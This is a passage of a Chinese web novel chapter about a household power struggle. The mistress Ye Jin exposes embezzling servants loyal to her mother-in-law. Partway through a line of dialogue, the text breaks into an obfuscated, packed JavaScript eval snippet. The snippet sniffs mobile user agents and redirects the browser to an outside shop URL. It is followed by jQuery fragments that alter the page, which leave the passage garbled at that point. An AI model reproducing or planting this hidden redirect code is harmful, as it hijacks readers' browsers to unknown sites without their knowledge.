春桃匆匆往主院去，但很快又回来了。
支支吾吾半晌才回话：“夫，夫人说，她没空过来。”
老太太脸黑成锅底：“她做什么没空？难道还要老婆子亲自去请？”
春桃眸子无措的闪了闪，最后憋出一句：“先前去沏茶的湘云姐姐和其他几位姐姐都被夫人扣下了，夫人说，说……”
周嬷嬷顿时急了：“夫人说什么？”湘云可是她女儿。
春桃咬牙：“夫人说，湘云姐姐她们中饱私囊，私吞了府上的钱款，正要发落她们。”
周嬷嬷气恼喊冤：“老夫人，湘云一直规规矩矩，做事也勤快。她在您身边当差几年，您也是看到的。夫人嫉恨您故意给您难看也就罢了，如今还要拿颐苑的人开刀，这是完全不把您放在眼里啊！”
柳碧如跟着附和：“姐姐这次确实有些过分了，今日待客的事传出去，姑母和顾府都得沦为平盐城的笑柄。”
老太太本就气得不行，两人的话无异于火上浇油。她拄着拐就往外走，柳碧如和周嬷嬷连忙一左一右扶住她，身后的几个丫鬟也连忙跟上，一群人浩浩荡荡往主院去。
下人吓得避让，眼角余光都在偷看。
一行人出了颐苑，穿过回廊假山，很快便到了主院。
主院的下人各个面容紧张，埋头干活，然后目光跟着老太太的身影往正厅去。
正厅内跪了一地的人，老太太怒瞪坐在正厅最上首，气色绝好的叶锦，骂道：“好大的威风，老婆子院里的人怎么轮到你来发落？”她边说边往里面走。
叶锦见人来也没动，只是慢条斯理道：“这不是正等着您么。”
周嬷嬷瞧见跪在最前面，左半边脸已经红肿的女儿时，赶紧松开老太太，上前两步，伸手去扶她，同时质问：“夫人，湘云犯了什么错，您怎么还动手了？”
她话音刚落，青织就上前两步，啪嗒一声打在她脸上。
周嬷嬷一个踉跄，不仅没把女儿扶起来，自己差点跌倒。她不可置信盯着青织，青织高声道：“夫人是主母，罚不懂事的奴婢是恩赐，你一个下人凭什么质问？”
周嬷嬷一下子被打没了心气，转头就求老太太做主：“老夫人！”
正厅两侧守着数十个强壮的小厮，老太太强忍喝骂的冲动，质问叶锦：“湘云的事且不说，茶叶的事你怎么说？你是存心让老婆子在那些夫人面前丢脸？”
“婆母说的哪里话。”叶锦迎上老太太的怒视，“婆母丢脸就是顾府丢脸，这对我也没好处。茶叶的事婆母不该来问我，该问问你身边的丫鬟湘云。她趁媳妇不在的这半个月，私吞了庄子上大部分的进项，这是欺您年老精力不济，连您的茶叶都偷换了去。”她目光从瑟瑟发抖的湘云身上移到其他几个丫鬟身上，“还有这几个丫鬟也得了好处，互相包庇欺瞒。媳妇扣住她们是在为您出气，也是在肃清府上蛀虫！”
地上的湘云朝老太太喊冤：“老夫人，奴婢冤枉啊。奴婢哪里敢换您的茶叶，庄子上的账目都清清楚楚，您可以看的呀。”
周嬷嬷也帮腔：“对啊夫人，湘云是您自小看着长大的，就是借她一百个胆子，也不敢中饱私囊啊。”
老太太自然是不信的，她喝问：“你说她贪了有什么证据？”
叶锦也不含糊，拍拍手，红珠就带着两人从外头进来了。几人进门后，扑通就跪在了湘云一处，朝叶锦连连磕头：“夫人，都是湘云姐姐逼奴才们，奴才才帮她做假账的。”
这两人老太太和周嬷嬷都认识，一个是外院守西角门的康婆子，一个是庄子上的刘主事。庄子上送来东西，要从西角门入，然后经过湘云盘点对账后，再经过红珠查看，才能入府。
但叶锦回叶家奔丧的这半个多月，湘云直接越过红珠，把账送到了周嬷嬷那。
老太太精神不济，全然信任周嬷嬷，几乎不会去翻看账目。
那茶叶，湘云也不敢完全贪的，还留了一部分在老太太那。至于为何全部成了次等茶叶，她也不知为何。
叶锦扫了二人一眼，冷声问：“你们说说，湘云是如何教唆你们中饱私囊的，如实交代，本夫人可从轻发落。”
康婆子先一步抢话道：“湘云姑娘说若是老奴不睁一只眼闭一只眼，她就让老夫人把老奴赶出府去，老奴也是无奈啊。”她决口不提自己拿的好处。
刘主事也紧跟着解释：“湘云姑娘说以后庄子都归她管，若小的不同意做假账，她就同老夫人说，小的监守自盗，将小的一家老小都送官。”他说着从怀里掏出另外一本账本，和一个小钱袋子呈上：“夫人，小的心里日日惶恐，特意做了两份账目。每次送货来，湘云姑娘昧下多少这里都有清晰的记录。还有这袋子里，是湘云姑娘分给小的好处。小的一家受夫人恩惠良多，决计不敢再干这丧良心的事，还望夫人明查啊！”
账本和袋子一同交到叶锦手里，康婆子见状，也赶紧从怀里掏出一把碎银子递过去。
叶锦翻过账本后，让红珠把账本挨个念给老太太听。
她每念一句，老太太脸就沉一分，浑浊的老眼盯着抖如筛糠的湘云和那几个丫鬟，恨不能将她们背上烧个窟窿。
老太太老了但没糊涂，她知道湘云必定是贪了的。心里虽有气，但更气叶锦不给她脸面。她梗着脖子嘴硬道：“这刘主事是你的人，庄子出多少茶、多少桑、多少粮食只有他自己知道，他要做假账诬陷湘云也未可知。”随后又恼道：“我在同你说今日慢待客人之事，你一直揪住湘云这是不放是什么意思？茶叶也不提，那点心的事呢？据我所知，你主院日日都有用上好的糕点和饭菜，今日我院里待客，你让大厨房上那的那些是什么鬼东西？”
这几日碧如两个孩子可日日跟着呦呦吃的，这点无从抵赖。
叶锦冷声道：“大厨房负责采买的管事好像是婆母的人吧？他贪了，府里没钱，自然要从婆母院子里找补。反正您平日里也吃素多，粗茶淡饭不更好？”
大厨房负责采买的管事是周嬷嬷的丈夫，他们一家靠着周嬷嬷在老太太跟前的脸面，俨然已经成了顾府的蛀虫。从前这一家子也贪，但都是小偷小摸，叶锦睁一只眼闭一只眼就过去了。
这半个月这一家子胆大包天。
上辈子叶锦经历叶家出事，夫君背叛，回来就一病不起，根本没经历管这事。
这辈子是定然不会放过他们。
周嬷嬷听她这么说，整个人都快跳起来了：“夫人，您这是什么意思？才说云湘中饱私囊，现在就说老奴那口子贪污？老奴那口子是实在人啊，老爷都曾夸他忠义，您看不惯老奴就直说，犯得着拿老奴家里人一个个开刀？”
叶锦冷淡瞟她一眼：“有没有贪污，把人请过来对峙不就好了，你在这急什么？”
青织附和：“就是，没做亏心事怕什么！”这老婆子还知道夫人看不惯她！
“老夫人！您说句话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487527|202098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊！”周嬷嬷跪到老太太跟前，哭道：“老奴一家在顾府多年，一直勤勤恳恳，夫人这是想寒了忠仆的心啊！”
老太太拉她起来：“你放心，今日有老婆子在，决不叫她冤枉了你们去。叶氏，你适可而止，我们现在是在说待客的事，你又扯邓管事进来做什么？”
叶锦压根不搭理他，吩咐红珠道：“去把邓管事他们带上来。”
红珠应是，立刻带着几人出去了。
老太太拦又拦不住，气得大喊：“叶氏，你到底有没有再听我说话？”
叶锦以手支额：“你说。”
这模样忒气人。
老太太气得胸口起伏，柳碧如连忙给她顺气，扶她去一旁的椅子上坐下。
不会儿，邓管事就被押了来，随行的还有和顾府长期采买的几个店家。邓管事早就听到风声了，一进来先开始喊冤。
大厨房的主厨和那几个店家起先倒是嘴硬，和邓管事口风一致死都不承认自己贪污了。他们长期合作，肯定不能供出对方，供出来对双方也没什么好处。
很快，正厅外又走来一人，是大厨房的主厨。
主厨跪下就一阵诉苦：“夫人，邓管事采买贪污不是一日两日了。不仅贪污，还经常以次充好，前些日子冬至。大人说要青鱼熬汤，邓管事采买时就用草鱼充当青鱼，做出的鱼汤自然就寡淡。大人不满，最后挨罚的还是厨房的奴才们。类似这种事经常发生，奴才等苦不堪言。”说着又一一例数邓管事以次充好的事，以及各个店家送来的东西缺斤少两被邓管事压下的事。
先前好多次，府里因为吃食发落下的人老太太都是知道的。就拿她惯常吃的补品来说，有一次她吃得味道不对，还特意找来邓管事询问了。
邓管事说南边今年干旱，采集的血燕才没先前那么润。
在周嬷嬷的一翻解释下，她也没过多追究。
主厨说到最后，又呈上一本账本，大声道：“夫人，这账本是店家每次送过来的货和邓管家记账出入的数量，请您过目！”
红珠接过账本送到叶锦手上，叶锦快速翻看了几页。然后猝不及防把账本砸在了邓管事脸上，喝问：“五千两之多，你还有什么好说的？”
邓管事也不敢躲，继续喊冤：“夫人！绝对没有的事！要是老奴正贪了这么多，哪里用得着奢侈俭用，过年了，一件好衣裳都不敢裁！”
周嬷嬷哭道：“是啊，夫人，老奴和老头子穿的都是老太太赏下的袄子，湘云更是连一件像样的首饰都没有。就是外院的管事，守门的门房都比老奴一家过得滋润。”
湘云也跟着喊冤，三个人又是磕头又是解释，整个正厅顿时显得吵闹嘈杂。
“都闭嘴！”叶锦冷了脸：“我做事只看证据，证据确凿，你们说什么都无用。”
“婆母，你说是吗？”她眸色犀利的看向一直冷着脸的老太太。
老太太斥道：“什么证据确凿，捉贼拿赃，你说他们贪了那么多。倒是把银子找出来，收的好处和那些茶叶都找出来！”周嬷嬷一家是她的心腹，替她办事，贪一点也无所谓。更何况，府里采买支出的银子都是从叶氏嫁妆里出的，她也没什么好心疼的。
所以，就算证据已经这么明显了，她就是不想发落周嬷嬷一家，不想给叶锦脸。
只要找不出赃物，她今日就能狠狠骂这个悍妇一顿。然后以不敬长辈，丢顾家脸面为由，请家法，罚她去跪祠堂！